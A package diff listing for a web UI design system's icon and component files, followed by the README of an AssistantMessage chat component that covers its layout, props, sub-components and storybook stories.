  517. package/dist/assets/Icons/thumbs-down.svg +1 -0
  518. package/dist/assets/Icons/thumbs-up.svg +1 -0
  519. package/dist/assets/Icons/tiktok-neutral.svg +1 -0
  520. package/dist/assets/Icons/tiktok.svg +1 -0
  521. package/dist/assets/Icons/tinder-neutral.svg +1 -0
  522. package/dist/assets/Icons/tinder.svg +1 -0
  523. package/dist/assets/Icons/trash.svg +1 -0
  524. package/dist/assets/Icons/trash2.svg +1 -0
  525. package/dist/assets/Icons/triangle-alert.svg +1 -0
  526. package/dist/assets/Icons/tumblr-neutral.svg +1 -0
  527. package/dist/assets/Icons/tumblr.svg +1 -0
  528. package/dist/assets/Icons/twitch-neutral.svg +1 -0
  529. package/dist/assets/Icons/twitch.svg +1 -0
  530. package/dist/assets/Icons/undo-dot.svg +1 -0
  531. package/dist/assets/Icons/undo.svg +1 -0
  532. package/dist/assets/Icons/undo2.svg +1 -0
  533. package/dist/assets/Icons/unplug.svg +1 -0
  534. package/dist/assets/Icons/user-check.svg +1 -0
  535. package/dist/assets/Icons/user-minus.svg +1 -0
  536. package/dist/assets/Icons/user-plus.svg +1 -0
  537. package/dist/assets/Icons/user-round-x.svg +1 -0
  538. package/dist/assets/Icons/user-round.svg +1 -0
  539. package/dist/assets/Icons/user.svg +1 -0
  540. package/dist/assets/Icons/username.svg +1 -0
  541. package/dist/assets/Icons/users-round.svg +1 -0
  542. package/dist/assets/Icons/users.svg +1 -0
  543. package/dist/assets/Icons/viber-neutral.svg +1 -0
  544. package/dist/assets/Icons/viber.svg +1 -0
  545. package/dist/assets/Icons/video.svg +1 -0
  546. package/dist/assets/Icons/vimeo-neutral.svg +1 -0
  547. package/dist/assets/Icons/vimeo.svg +1 -0
  548. package/dist/assets/Icons/vk-music-neutral.svg +1 -0
  549. package/dist/assets/Icons/vk-music.svg +1 -0
  550. package/dist/assets/Icons/vk-neutral.svg +1 -0
  551. package/dist/assets/Icons/vk-only-sign-neutral.svg +1 -0
  552. package/dist/assets/Icons/vk-only-sign.svg +1 -0
  553. package/dist/assets/Icons/vk.svg +1 -0
  554. package/dist/assets/Icons/webhook-neutral.svg +1 -0
  555. package/dist/assets/Icons/webhook.svg +1 -0
  556. package/dist/assets/Icons/wechat-neutral.svg +1 -0
  557. package/dist/assets/Icons/wechat.svg +1 -0
  558. package/dist/assets/Icons/whatsapp-badge-neutral.svg +1 -0
  559. package/dist/assets/Icons/whatsapp-badge.svg +1 -0
  560. package/dist/assets/Icons/whatsapp-neutral.svg +1 -0
  561. package/dist/assets/Icons/whatsapp.svg +1 -0
  562. package/dist/assets/Icons/workflow.svg +1 -0
  563. package/dist/assets/Icons/wrap-text.svg +1 -0
  564. package/dist/assets/Icons/wrench.svg +1 -0
  565. package/dist/assets/Icons/x-ex-twitter-neutral.svg +1 -0
  566. package/dist/assets/Icons/x-ex-twitter.svg +1 -0
  567. package/dist/assets/Icons/x.svg +1 -0
  568. package/dist/assets/Icons/xing-neutral.svg +1 -0
  569. package/dist/assets/Icons/xing.svg +1 -0
  570. package/dist/assets/Icons/yandex-music-neutral.svg +1 -0
  571. package/dist/assets/Icons/yandex-music.svg +1 -0
  572. package/dist/assets/Icons/yelp-neutral.svg +1 -0
  573. package/dist/assets/Icons/yelp.svg +1 -0
  574. package/dist/assets/Icons/youtube-music-neutral.svg +1 -0
  575. package/dist/assets/Icons/youtube-music.svg +1 -0
  576. package/dist/assets/Icons/youtube-neutral.svg +1 -0
  577. package/dist/assets/Icons/youtube-shorts-neutral.svg +1 -0
  578. package/dist/assets/Icons/youtube-shorts.svg +1 -0
  579. package/dist/assets/Icons/youtube.svg +1 -0
  580. package/dist/assets/Icons/zap.svg +1 -0
  581. package/dist/assets/Icons/zoom-in.svg +1 -0
  582. package/dist/assets/Icons/zoom-neutral.svg +1 -0
  583. package/dist/assets/Icons/zoom-out.svg +1 -0
  584. package/dist/assets/Icons/zoom.svg +1 -0
  585. package/dist/assets/Icons/zulip-neutral.svg +1 -0
  586. package/dist/assets/Icons/zulip.svg +1 -0
  587. package/dist/assets/Logos/wallarm.svg +1 -0
  588. package/dist/assets.json +4666 -0
  589. package/dist/project/README.md +265 -0
  590. package/dist/project/components/Accordion/README.md +354 -0
  591. package/dist/project/components/Accordion/preview.html +2 -0
  592. package/dist/project/components/Accordion/stories.js +12 -0
  593. package/dist/project/components/AgentAvatar/README.md +127 -0
  594. package/dist/project/components/AgentAvatar/preview.html +2 -0
  595. package/dist/project/components/AgentAvatar/stories.js +12 -0
  596. package/dist/project/components/AgentAvatar/stories.md +1805 -0
  597. package/dist/project/components/AgentGlyph/README.md +1182 -0
  598. package/dist/project/components/AgentGlyph/preview.html +2 -0
  599. package/dist/project/components/AgentGlyph/stories.js +12 -0
  600. package/dist/project/components/AgentLookBuilder/README.md +269 -0
  601. package/dist/project/components/AgentLookBuilder/preview.html +2 -0
  602. package/dist/project/components/AgentLookBuilder/stories.js +12 -0
  603. package/dist/project/components/Alert/README.md +492 -0
  604. package/dist/project/components/Alert/preview.html +2 -0
  605. package/dist/project/components/Alert/stories.js +12 -0
  606. package/dist/project/components/AnimatedBackground/README.md +124 -0
  607. package/dist/project/components/AnimatedBackground/preview.html +2 -0
  608. package/dist/project/components/AnimatedBackground/stories.js +12 -0
  609. package/dist/project/components/AppShell/README.md +75 -0
  610. package/dist/project/components/AppShell/preview.html +2 -0
  611. package/dist/project/components/AppShell/stories.js +28 -0
  612. package/dist/project/components/AppShell/stories.md +2878 -0
  613. package/dist/project/components/ApprovalCard/README.md +353 -0
  614. package/dist/project/components/ApprovalCard/preview.html +2 -0
  615. package/dist/project/components/ApprovalCard/stories.js +12 -0
  616. package/dist/project/components/AreaChart/README.md +673 -0
  617. package/dist/project/components/AreaChart/preview.html +2 -0
  618. package/dist/project/components/AreaChart/stories.js +12 -0
  619. package/dist/project/components/AssistantMessage/README.md +724 -0
  620. package/dist/project/components/AssistantMessage/preview.html +2 -0
  621. package/dist/project/components/AssistantMessage/stories.js +55 -0
  622. package/dist/project/components/Attribute/README.md +1174 -0
  623. package/dist/project/components/Attribute/preview.html +2 -0
  624. package/dist/project/components/Attribute/stories.js +12 -0
  625. package/dist/project/components/Avatar/README.md +416 -0
  626. package/dist/project/components/Avatar/preview.html +2 -0
  627. package/dist/project/components/Avatar/stories.js +12 -0
  628. package/dist/project/components/Badge/README.md +853 -0
  629. package/dist/project/components/Badge/preview.html +2 -0
  630. package/dist/project/components/Badge/stories.js +12 -0
  631. package/dist/project/components/Banner/README.md +341 -0
  632. package/dist/project/components/Banner/preview.html +2 -0
  633. package/dist/project/components/Banner/stories.js +12 -0
  634. package/dist/project/components/BarList/README.md +757 -0
  635. package/dist/project/components/BarList/preview.html +2 -0
  636. package/dist/project/components/BarList/stories.js +12 -0
  637. package/dist/project/components/Breadcrumbs/README.md +274 -0
  638. package/dist/project/components/Breadcrumbs/preview.html +2 -0
  639. package/dist/project/components/Breadcrumbs/stories.js +12 -0
  640. package/dist/project/components/BulkBar/README.md +19 -0
  641. package/dist/project/components/Button/README.md +467 -0
  642. package/dist/project/components/Button/preview.html +2 -0
  643. package/dist/project/components/Button/stories.js +12 -0
  644. package/dist/project/components/Calendar/README.md +654 -0
  645. package/dist/project/components/Calendar/preview.html +2 -0
  646. package/dist/project/components/Calendar/stories.js +12 -0
  647. package/dist/project/components/Card/README.md +367 -0
  648. package/dist/project/components/Card/preview.html +2 -0
  649. package/dist/project/components/Card/stories.js +12 -0
  650. package/dist/project/components/ChainOfThought/README.md +412 -0
  651. package/dist/project/components/ChainOfThought/preview.html +2 -0
  652. package/dist/project/components/ChainOfThought/stories.js +12 -0
  653. package/dist/project/components/Chart/README.md +224 -0
  654. package/dist/project/components/Chart/preview.html +2 -0
  655. package/dist/project/components/Chart/stories.js +12 -0
  656. package/dist/project/components/Chat/README.md +1244 -0
  657. package/dist/project/components/Chat/preview.html +2 -0
  658. package/dist/project/components/Chat/stories.js +12 -0
  659. package/dist/project/components/ChatInput/README.md +378 -0
  660. package/dist/project/components/ChatInput/preview.html +2 -0
  661. package/dist/project/components/ChatInput/stories.js +12 -0
  662. package/dist/project/components/ChatPermissions/README.md +218 -0
  663. package/dist/project/components/ChatPermissions/preview.html +2 -0
  664. package/dist/project/components/ChatPermissions/stories.js +12 -0
  665. package/dist/project/components/Checkbox/README.md +367 -0
  666. package/dist/project/components/Checkbox/preview.html +2 -0
  667. package/dist/project/components/Checkbox/stories.js +12 -0
  668. package/dist/project/components/Code/README.md +243 -0
  669. package/dist/project/components/Code/preview.html +2 -0
  670. package/dist/project/components/Code/stories.js +12 -0
  671. package/dist/project/components/CodeEditor/README.md +280 -0
  672. package/dist/project/components/CodeEditor/preview.html +2 -0
  673. package/dist/project/components/CodeEditor/stories.js +162 -0
  674. package/dist/project/components/CodeEditor/stories.md +1533 -0
  675. package/dist/project/components/CodeSnippet/README.md +1352 -0
  676. package/dist/project/components/CodeSnippet/preview.html +2 -0
  677. package/dist/project/components/CodeSnippet/stories.js +156 -0
  678. package/dist/project/components/ColumnChart/README.md +521 -0
  679. package/dist/project/components/ColumnChart/preview.html +2 -0
  680. package/dist/project/components/ColumnChart/stories.js +12 -0
  681. package/dist/project/components/Conversation/README.md +314 -0
  682. package/dist/project/components/Conversation/preview.html +2 -0
  683. package/dist/project/components/Conversation/stories.js +12 -0
  684. package/dist/project/components/Copyable/README.md +406 -0
  685. package/dist/project/components/Copyable/preview.html +2 -0
  686. package/dist/project/components/Copyable/stories.js +12 -0
  687. package/dist/project/components/Country/README.md +226 -0
  688. package/dist/project/components/Country/preview.html +2 -0
  689. package/dist/project/components/Country/stories.js +12 -0
  690. package/dist/project/components/Cover/preview.html +43 -0
  691. package/dist/project/components/DateInput/README.md +458 -0
  692. package/dist/project/components/DateInput/preview.html +2 -0
  693. package/dist/project/components/DateInput/stories.js +12 -0
  694. package/dist/project/components/DateRangeInput/README.md +412 -0
  695. package/dist/project/components/DateRangeInput/preview.html +2 -0
  696. package/dist/project/components/DateRangeInput/stories.js +12 -0
  697. package/dist/project/components/Dialog/README.md +1140 -0
  698. package/dist/project/components/Dialog/preview.html +2 -0
  699. package/dist/project/components/Dialog/stories.js +12 -0
  700. package/dist/project/components/Drawer/README.md +1163 -0
  701. package/dist/project/components/Drawer/preview.html +2 -0
  702. package/dist/project/components/Drawer/stories.js +12 -0
  703. package/dist/project/components/DropdownMenu/README.md +678 -0
  704. package/dist/project/components/DropdownMenu/preview.html +2 -0
  705. package/dist/project/components/DropdownMenu/stories.js +12 -0
  706. package/dist/project/components/EmptyState/README.md +276 -0
  707. package/dist/project/components/EmptyState/preview.html +2 -0
  708. package/dist/project/components/EmptyState/stories.js +12 -0
  709. package/dist/project/components/FeedbackPulse/README.md +125 -0
  710. package/dist/project/components/FeedbackPulse/preview.html +2 -0
  711. package/dist/project/components/FeedbackPulse/stories.js +12 -0
  712. package/dist/project/components/Field/README.md +676 -0
  713. package/dist/project/components/Field/preview.html +2 -0
  714. package/dist/project/components/Field/stories.js +12 -0
  715. package/dist/project/components/FileUpload/README.md +544 -0
  716. package/dist/project/components/FileUpload/preview.html +2 -0
  717. package/dist/project/components/FileUpload/stories.js +12 -0
  718. package/dist/project/components/FilterCascade/README.md +348 -0
  719. package/dist/project/components/FilterCascade/preview.html +2 -0
  720. package/dist/project/components/FilterCascade/stories.js +12 -0
  721. package/dist/project/components/FilterDropdown/README.md +542 -0
  722. package/dist/project/components/FilterDropdown/preview.html +2 -0
  723. package/dist/project/components/FilterDropdown/stories.js +12 -0
  724. package/dist/project/components/FilterInput/README.md +416 -0
  725. package/dist/project/components/FilterInput/preview.html +2 -0
  726. package/dist/project/components/FilterInput/stories.js +12 -0
  727. package/dist/project/components/FilterInput/stories.md +6682 -0
  728. package/dist/project/components/Flex/README.md +225 -0
  729. package/dist/project/components/Flex/preview.html +2 -0
  730. package/dist/project/components/Flex/stories.js +12 -0
  731. package/dist/project/components/FormatDateTime/README.md +315 -0
  732. package/dist/project/components/FormatDateTime/preview.html +2 -0
  733. package/dist/project/components/FormatDateTime/stories.js +12 -0
  734. package/dist/project/components/FormatNumber/README.md +317 -0
  735. package/dist/project/components/FormatNumber/preview.html +2 -0
  736. package/dist/project/components/FormatNumber/stories.js +12 -0
  737. package/dist/project/components/Heading/README.md +240 -0
  738. package/dist/project/components/Heading/preview.html +2 -0
  739. package/dist/project/components/Heading/stories.js +12 -0
  740. package/dist/project/components/HorizontalBarStack/README.md +281 -0
  741. package/dist/project/components/HorizontalBarStack/preview.html +2 -0
  742. package/dist/project/components/HorizontalBarStack/stories.js +12 -0
  743. package/dist/project/components/HttpMethod/README.md +137 -0
  744. package/dist/project/components/HttpMethod/preview.html +2 -0
  745. package/dist/project/components/HttpMethod/stories.js +12 -0
  746. package/dist/project/components/ImageCropper/README.md +332 -0
  747. package/dist/project/components/ImageCropper/preview.html +2 -0
  748. package/dist/project/components/ImageCropper/stories.js +33 -0
  749. package/dist/project/components/Indicator/README.md +110 -0
  750. package/dist/project/components/Indicator/preview.html +2 -0
  751. package/dist/project/components/Indicator/stories.js +12 -0
  752. package/dist/project/components/InlineEdit/README.md +977 -0
  753. package/dist/project/components/InlineEdit/preview.html +2 -0
  754. package/dist/project/components/InlineEdit/stories.js +12 -0
  755. package/dist/project/components/Input/README.md +187 -0
  756. package/dist/project/components/Input/preview.html +2 -0
  757. package/dist/project/components/Input/stories.js +12 -0
  758. package/dist/project/components/InputGroup/README.md +423 -0
  759. package/dist/project/components/InputGroup/preview.html +2 -0
  760. package/dist/project/components/InputGroup/stories.js +12 -0
  761. package/dist/project/components/InputOTP/README.md +201 -0
  762. package/dist/project/components/InputOTP/preview.html +2 -0
  763. package/dist/project/components/InputOTP/stories.js +12 -0
  764. package/dist/project/components/Ip/README.md +226 -0
  765. package/dist/project/components/Ip/preview.html +2 -0
  766. package/dist/project/components/Ip/stories.js +12 -0
  767. package/dist/project/components/Kbd/README.md +126 -0
  768. package/dist/project/components/Kbd/preview.html +2 -0
  769. package/dist/project/components/Kbd/stories.js +12 -0
  770. package/dist/project/components/LineChart/README.md +1479 -0
  771. package/dist/project/components/LineChart/preview.html +2 -0
  772. package/dist/project/components/LineChart/stories.js +12 -0
  773. package/dist/project/components/Link/README.md +160 -0
  774. package/dist/project/components/Link/preview.html +2 -0
  775. package/dist/project/components/Link/stories.js +12 -0
  776. package/dist/project/components/List/README.md +181 -0
  777. package/dist/project/components/List/preview.html +2 -0
  778. package/dist/project/components/List/stories.js +12 -0
  779. package/dist/project/components/Loader/README.md +145 -0
  780. package/dist/project/components/Loader/preview.html +2 -0
  781. package/dist/project/components/Loader/stories.js +12 -0
  782. package/dist/project/components/Logo/README.md +183 -0
  783. package/dist/project/components/Logo/preview.html +2 -0
  784. package/dist/project/components/Logo/stories.js +12 -0
  785. package/dist/project/components/MessageActions/README.md +255 -0
  786. package/dist/project/components/MessageActions/preview.html +2 -0
  787. package/dist/project/components/MessageActions/stories.js +12 -0
  788. package/dist/project/components/Metric/README.md +324 -0
  789. package/dist/project/components/Metric/preview.html +2 -0
  790. package/dist/project/components/Metric/stories.js +12 -0
  791. package/dist/project/components/NavRail/README.md +25 -0
  792. package/dist/project/components/NotificationCenter/README.md +91 -0
  793. package/dist/project/components/NotificationCenter/preview.html +2 -0
  794. package/dist/project/components/NotificationCenter/stories.js +12 -0
  795. package/dist/project/components/NotificationCenter/stories.md +2170 -0
  796. package/dist/project/components/NumberInput/README.md +177 -0
  797. package/dist/project/components/NumberInput/preview.html +2 -0
  798. package/dist/project/components/NumberInput/stories.js +12 -0
  799. package/dist/project/components/NumericBadge/README.md +252 -0
  800. package/dist/project/components/NumericBadge/preview.html +2 -0
  801. package/dist/project/components/NumericBadge/stories.js +12 -0
  802. package/dist/project/components/OverflowList/README.md +324 -0
  803. package/dist/project/components/OverflowList/preview.html +2 -0
  804. package/dist/project/components/OverflowList/stories.js +12 -0
  805. package/dist/project/components/OverflowTooltip/README.md +421 -0
  806. package/dist/project/components/OverflowTooltip/preview.html +2 -0
  807. package/dist/project/components/OverflowTooltip/stories.js +12 -0
  808. package/dist/project/components/Overlay/README.md +95 -0
  809. package/dist/project/components/Overlay/preview.html +2 -0
  810. package/dist/project/components/Overlay/stories.js +12 -0
  811. package/dist/project/components/Overview/README.md +445 -0
  812. package/dist/project/components/Overview/preview.html +2 -0
  813. package/dist/project/components/Overview/stories.js +12 -0
  814. package/dist/project/components/Page/README.md +215 -0
  815. package/dist/project/components/Page/preview.html +2 -0
  816. package/dist/project/components/Page/stories.js +12 -0
  817. package/dist/project/components/Pagination/README.md +302 -0
  818. package/dist/project/components/Pagination/preview.html +2 -0
  819. package/dist/project/components/Pagination/stories.js +12 -0
  820. package/dist/project/components/ParameterPath/README.md +284 -0
  821. package/dist/project/components/ParameterPath/preview.html +2 -0
  822. package/dist/project/components/ParameterPath/stories.js +12 -0
  823. package/dist/project/components/PasswordComplexity/README.md +171 -0
  824. package/dist/project/components/PasswordComplexity/preview.html +2 -0
  825. package/dist/project/components/PasswordComplexity/stories.js +12 -0
  826. package/dist/project/components/PasswordInput/README.md +254 -0
  827. package/dist/project/components/PasswordInput/preview.html +2 -0
  828. package/dist/project/components/PasswordInput/stories.js +12 -0
  829. package/dist/project/components/PieChart/README.md +895 -0
  830. package/dist/project/components/PieChart/preview.html +2 -0
  831. package/dist/project/components/PieChart/stories.js +12 -0
  832. package/dist/project/components/Popover/README.md +282 -0
  833. package/dist/project/components/Popover/preview.html +2 -0
  834. package/dist/project/components/Popover/stories.js +12 -0
  835. package/dist/project/components/Progress/README.md +174 -0
  836. package/dist/project/components/Progress/preview.html +2 -0
  837. package/dist/project/components/Progress/stories.js +12 -0
  838. package/dist/project/components/Radio/README.md +264 -0
  839. package/dist/project/components/Radio/preview.html +2 -0
  840. package/dist/project/components/Radio/stories.js +12 -0
  841. package/dist/project/components/RemoteShell/README.md +1758 -0
  842. package/dist/project/components/RemoteShell/preview.html +2 -0
  843. package/dist/project/components/RemoteShell/stories.js +28 -0
  844. package/dist/project/components/Resizable/README.md +290 -0
  845. package/dist/project/components/Resizable/preview.html +2 -0
  846. package/dist/project/components/Resizable/stories.js +12 -0
  847. package/dist/project/components/ResponseCode/README.md +205 -0
  848. package/dist/project/components/ResponseCode/preview.html +2 -0
  849. package/dist/project/components/ResponseCode/stories.js +12 -0
  850. package/dist/project/components/ScrollArea/README.md +234 -0
  851. package/dist/project/components/ScrollArea/preview.html +2 -0
  852. package/dist/project/components/ScrollArea/stories.js +12 -0
  853. package/dist/project/components/SearchInput/README.md +158 -0
  854. package/dist/project/components/SearchInput/preview.html +2 -0
  855. package/dist/project/components/SearchInput/stories.js +12 -0
  856. package/dist/project/components/SearchModal/README.md +836 -0
  857. package/dist/project/components/SearchModal/preview.html +2 -0
  858. package/dist/project/components/SearchModal/stories.js +12 -0
  859. package/dist/project/components/SegmentedControl/README.md +382 -0
  860. package/dist/project/components/SegmentedControl/preview.html +2 -0
  861. package/dist/project/components/SegmentedControl/stories.js +12 -0
  862. package/dist/project/components/SegmentedTabs/README.md +390 -0
  863. package/dist/project/components/SegmentedTabs/preview.html +2 -0
  864. package/dist/project/components/SegmentedTabs/stories.js +12 -0
  865. package/dist/project/components/Select/README.md +1311 -0
  866. package/dist/project/components/Select/preview.html +2 -0
  867. package/dist/project/components/Select/stories.js +12 -0
  868. package/dist/project/components/Selection/README.md +648 -0
  869. package/dist/project/components/Selection/preview.html +2 -0
  870. package/dist/project/components/Selection/stories.js +12 -0
  871. package/dist/project/components/Separator/README.md +77 -0
  872. package/dist/project/components/Separator/preview.html +2 -0
  873. package/dist/project/components/Separator/stories.js +12 -0
  874. package/dist/project/components/Skeleton/README.md +358 -0
  875. package/dist/project/components/Skeleton/preview.html +2 -0
  876. package/dist/project/components/Skeleton/stories.js +12 -0
  877. package/dist/project/components/Slider/README.md +433 -0
  878. package/dist/project/components/Slider/preview.html +2 -0
  879. package/dist/project/components/Slider/stories.js +12 -0
  880. package/dist/project/components/SplashScreen/README.md +192 -0
  881. package/dist/project/components/SplashScreen/preview.html +2 -0
  882. package/dist/project/components/SplashScreen/stories.js +12 -0
  883. package/dist/project/components/SplitButton/README.md +402 -0
  884. package/dist/project/components/SplitButton/preview.html +2 -0
  885. package/dist/project/components/SplitButton/stories.js +12 -0
  886. package/dist/project/components/Stack/README.md +269 -0
  887. package/dist/project/components/Stack/preview.html +2 -0
  888. package/dist/project/components/Stack/stories.js +12 -0
  889. package/dist/project/components/Stepper/README.md +682 -0
  890. package/dist/project/components/Stepper/preview.html +2 -0
  891. package/dist/project/components/Stepper/stories.js +12 -0
  892. package/dist/project/components/Switch/README.md +236 -0
  893. package/dist/project/components/Switch/preview.html +2 -0
  894. package/dist/project/components/Switch/stories.js +12 -0
  895. package/dist/project/components/Table/README.md +471 -0
  896. package/dist/project/components/Table/preview.html +2 -0
  897. package/dist/project/components/Table/stories.js +12 -0
  898. package/dist/project/components/Table/stories.md +3697 -0
  899. package/dist/project/components/Tabs/README.md +443 -0
  900. package/dist/project/components/Tabs/preview.html +2 -0
  901. package/dist/project/components/Tabs/stories.js +12 -0
  902. package/dist/project/components/Tag/README.md +324 -0
  903. package/dist/project/components/Tag/preview.html +2 -0
  904. package/dist/project/components/Tag/stories.js +12 -0
  905. package/dist/project/components/Text/README.md +200 -0
  906. package/dist/project/components/Text/preview.html +2 -0
  907. package/dist/project/components/Text/stories.js +12 -0
  908. package/dist/project/components/Textarea/README.md +273 -0
  909. package/dist/project/components/Textarea/preview.html +2 -0
  910. package/dist/project/components/Textarea/stories.js +12 -0
  911. package/dist/project/components/TimeInput/README.md +359 -0
  912. package/dist/project/components/TimeInput/preview.html +2 -0
  913. package/dist/project/components/TimeInput/stories.js +12 -0
  914. package/dist/project/components/Timeline/README.md +204 -0
  915. package/dist/project/components/Timeline/preview.html +2 -0
  916. package/dist/project/components/Timeline/stories.js +12 -0
  917. package/dist/project/components/Toast/README.md +718 -0
  918. package/dist/project/components/Toast/preview.html +2 -0
  919. package/dist/project/components/Toast/stories.js +12 -0
  920. package/dist/project/components/ToggleButton/README.md +292 -0
  921. package/dist/project/components/ToggleButton/preview.html +2 -0
  922. package/dist/project/components/ToggleButton/stories.js +12 -0
  923. package/dist/project/components/Tooltip/README.md +199 -0
  924. package/dist/project/components/Tooltip/preview.html +2 -0
  925. package/dist/project/components/Tooltip/stories.js +12 -0
  926. package/dist/project/components/TopHeader/README.md +21 -0
  927. package/dist/project/components/Tour/README.md +532 -0
  928. package/dist/project/components/Tour/preview.html +2 -0
  929. package/dist/project/components/Tour/stories.js +12 -0
  930. package/dist/project/components/Tree/README.md +450 -0
  931. package/dist/project/components/Tree/preview.html +2 -0
  932. package/dist/project/components/Tree/stories.js +12 -0
  933. package/dist/project/components/TreeView/README.md +531 -0
  934. package/dist/project/components/TreeView/preview.html +2 -0
  935. package/dist/project/components/TreeView/stories.js +12 -0
  936. package/dist/project/components/UTILITIES.md +647 -0
  937. package/dist/project/components/UserMessage/README.md +166 -0
  938. package/dist/project/components/UserMessage/preview.html +2 -0
  939. package/dist/project/components/UserMessage/stories.js +12 -0
  940. package/dist/project/components/UtilityPage/README.md +147 -0
  941. package/dist/project/components/UtilityPage/preview.html +2 -0
  942. package/dist/project/components/UtilityPage/stories.js +12 -0
  943. package/dist/project/components/WallyAssistant/README.md +1380 -0
  944. package/dist/project/components/WallyAssistant/preview.html +2 -0
  945. package/dist/project/components/WallyAssistant/stories.js +12 -0
  946. package/dist/project/components/WallyIcon/README.md +130 -0
  947. package/dist/project/components/WallyIcon/preview.html +2 -0
  948. package/dist/project/components/WallyIcon/stories.js +12 -0
  949. package/dist/project/components/WallySkeleton/README.md +96 -0
  950. package/dist/project/components/WallySkeleton/preview.html +2 -0
  951. package/dist/project/components/WallySkeleton/stories.js +12 -0
  952. package/dist/project/components/bundle.css +18734 -0
  953. package/dist/project/components/bundle.js +167 -0
  954. package/dist/project/components/index.d.ts +27226 -0
  955. package/dist/project/design-system.json +35 -0
  956. package/dist/project/fonts/Geist-Variable.woff2 +0 -0
  957. package/dist/project/fonts/GeistMono-Variable.woff2 +0 -0
  958. package/dist/project/fonts/GeistPixel-Square.woff2 +0 -0
  959. package/dist/project/sampler.dc.html +238 -0
  960. package/dist/project/tokens.css +1395 -0
  961. package/dist/project/tokens.json +5235 -0
  962. package/dist/wallarm-sampler.dc.html +239 -0
  963. package/package.json +67 -3
@@ -0,0 +1,724 @@
1
+ A message from Wally: an `<article>` named "Wally" that left-aligns the answer and whatever led up to it. Stack its parts in this order — an optional `ChainOfThought` with the reasoning and tool calls, an optional `ApprovalCard`, the `AssistantMessageContent`, then a `MessageActions` row; the message spaces them 12px and 4px apart and lines the action icons up with the text. `AssistantMessageContent` spaces and styles markdown blocks; put `AssistantMessageMarkdown` inside it (WallyAssistant's default) or your own renderer's output. `AssistantMessageMarkdown` renders untrusted GFM as DS elements — no raw HTML, http/https/mailto/relative links only, images as alt text — and is streaming-safe: pass the whole text so far with `streaming` and it repairs only the unfinished tail. Set `aria-busy` on the message while the answer streams; before the first output, show only an `AssistantMessageLoader` "Working..." row, and if the answer fails, an `AssistantMessageError` after the content with your own Retry button in `action`.
2
+
3
+ ## Props as canvas attributes
4
+
5
+ Use kebab-case attribute names. Pass non-string values through renderVals holes, including booleans. The full emitted API is in `components/index.d.ts`.
6
+
7
+ | Attribute | Type | Required | Default | Description |
8
+ | --- | --- | --- | --- | --- |
9
+ | `default-checked` | `boolean \| undefined` | no | — | |
10
+ | `default-value` | `string \| number \| readonly string[] \| undefined` | no | — | |
11
+ | `auto-focus` | `boolean \| undefined` | no | — | |
12
+ | `id` | `string \| undefined` | no | — | |
13
+ | `tab-index` | `number \| undefined` | no | — | |
14
+ | `title` | `string \| undefined` | no | — | |
15
+ | `rel` | `string \| undefined` | no | — | |
16
+ | `on-change` | `ChangeEventHandler<T, Element> \| undefined` | no | — | |
17
+ | `data-testid` | `string \| undefined` | no | — | |
18
+
19
+ ## Sub-components
20
+
21
+ - `WallarmDS.AssistantMessageContent` — `AssistantMessageContentProps` in the declaration bundle.
22
+ - `WallarmDS.AssistantMessageError` — `AssistantMessageErrorProps` in the declaration bundle.
23
+ - `WallarmDS.AssistantMessageLoader` — `AssistantMessageLoaderProps` in the declaration bundle.
24
+ - `WallarmDS.AssistantMessageMarkdown` — `AssistantMessageMarkdownProps` in the declaration bundle.
25
+ - `WallarmDS.AssistantMessageMarkdownCodeBlock` — `AssistantMessageMarkdownCodeBlockProps` in the declaration bundle.
26
+ - `WallarmDS.AssistantMessageMarkdownInlineCode` — `AssistantMessageMarkdownInlineCodeProps` in the declaration bundle.
27
+ - `WallarmDS.AssistantMessageMarkdownLink` — `AssistantMessageMarkdownLinkProps` in the declaration bundle.
28
+ - `WallarmDS.AssistantMessageMarkdownTable` — `AssistantMessageMarkdownTableProps` in the declaration bundle.
29
+
30
+ ## Stories
31
+
32
+ ### AnswerProse
33
+
34
+ A rendered markdown answer: a heading, paragraphs and a list with inline code.
35
+
36
+ Source: AssistantMessage/AssistantMessage.stories.tsx#AnswerProse
37
+
38
+ ### WithReasoning
39
+
40
+ The reasoning sits above the answer as a `ChainOfThought`, 12px away. The first message
41
+ keeps it collapsed; the second opens the "Thought for 5s" step.
42
+
43
+ Source: AssistantMessage/AssistantMessage.stories.tsx#WithReasoning
44
+
45
+ ### WithActionsVisible
46
+
47
+ The latest answer forces its actions on with `visible`: Copy, thumbs up and down, a more
48
+ menu and the timestamp, with the first icon lined up with the text.
49
+
50
+ Source: AssistantMessage/AssistantMessage.stories.tsx#WithActionsVisible
51
+
52
+ ### WithApproval
53
+
54
+ The full composition: reasoning, an `ApprovalCard` stretched to the message width, the
55
+ answer and its actions. The card sits 12px from the parts around it, like the reasoning.
56
+
57
+ Source: AssistantMessage/AssistantMessage.stories.tsx#WithApproval
58
+
59
+ ### WithActionsOnHover
60
+
61
+ Older answers keep their actions row transparent until the message is hovered or holds
62
+ focus; the 30px row stays reserved so nothing jumps.
63
+
64
+ Source: AssistantMessage/AssistantMessage.stories.tsx#WithActionsOnHover
65
+
66
+ ### Streaming
67
+
68
+ While the answer streams, set `aria-busy` on the message and show the running step with a
69
+ shimmering label; the actions come once it finishes.
70
+
71
+ Source: AssistantMessage/AssistantMessage.stories.tsx#Streaming
72
+
73
+ ### Loading
74
+
75
+ Before the first output, the message holds only an `AssistantMessageLoader`: the Figma
76
+ "Working..." row with a shimmering label, announced as `role='status'`. Pass children to
77
+ change the text.
78
+
79
+ Source: AssistantMessage/AssistantMessage.stories.tsx#Loading
80
+
81
+ ### ErrorState
82
+
83
+ A failed answer: `AssistantMessageError` comes after whatever content streamed, announced
84
+ as `role='alert'`. Put your own Retry `Button` in `action`, so its click and analytics are
85
+ yours. The action renders inside the error's test-id cascade, but `Button` doesn't read it:
86
+ either give it the full id yourself (here `error--error--retry`, i.e. the error's id `error--error`
87
+ plus `--retry`), or read `useTestId('retry')` (exported from the package) inside your own
88
+ Retry component to derive it. Not in Figma yet; pending design review.
89
+
90
+ Source: AssistantMessage/AssistantMessage.stories.tsx#ErrorState
91
+
92
+ ### Analytics
93
+
94
+ The message and its content are not interactive, but `data-analytics-*` still lands on
95
+ their real nodes; put click analytics on each `MessageAction` instead.
96
+
97
+ Source: AssistantMessage/AssistantMessage.stories.tsx#Analytics
98
+
99
+ ### Markdown
100
+
101
+ `AssistantMessageMarkdown` inside `AssistantMessageContent`: every GFM element in the DS look —
102
+ heading, bold/italic/strike, inline code (click to copy), an aligned table, nested lists, a task
103
+ list, a fenced block with a copy button, a quote, a rule and links. Highlighting follows the
104
+ app's `CodeSnippetAdapterProvider` (WallyAssistant mounts the lazy Prism one itself).
105
+
106
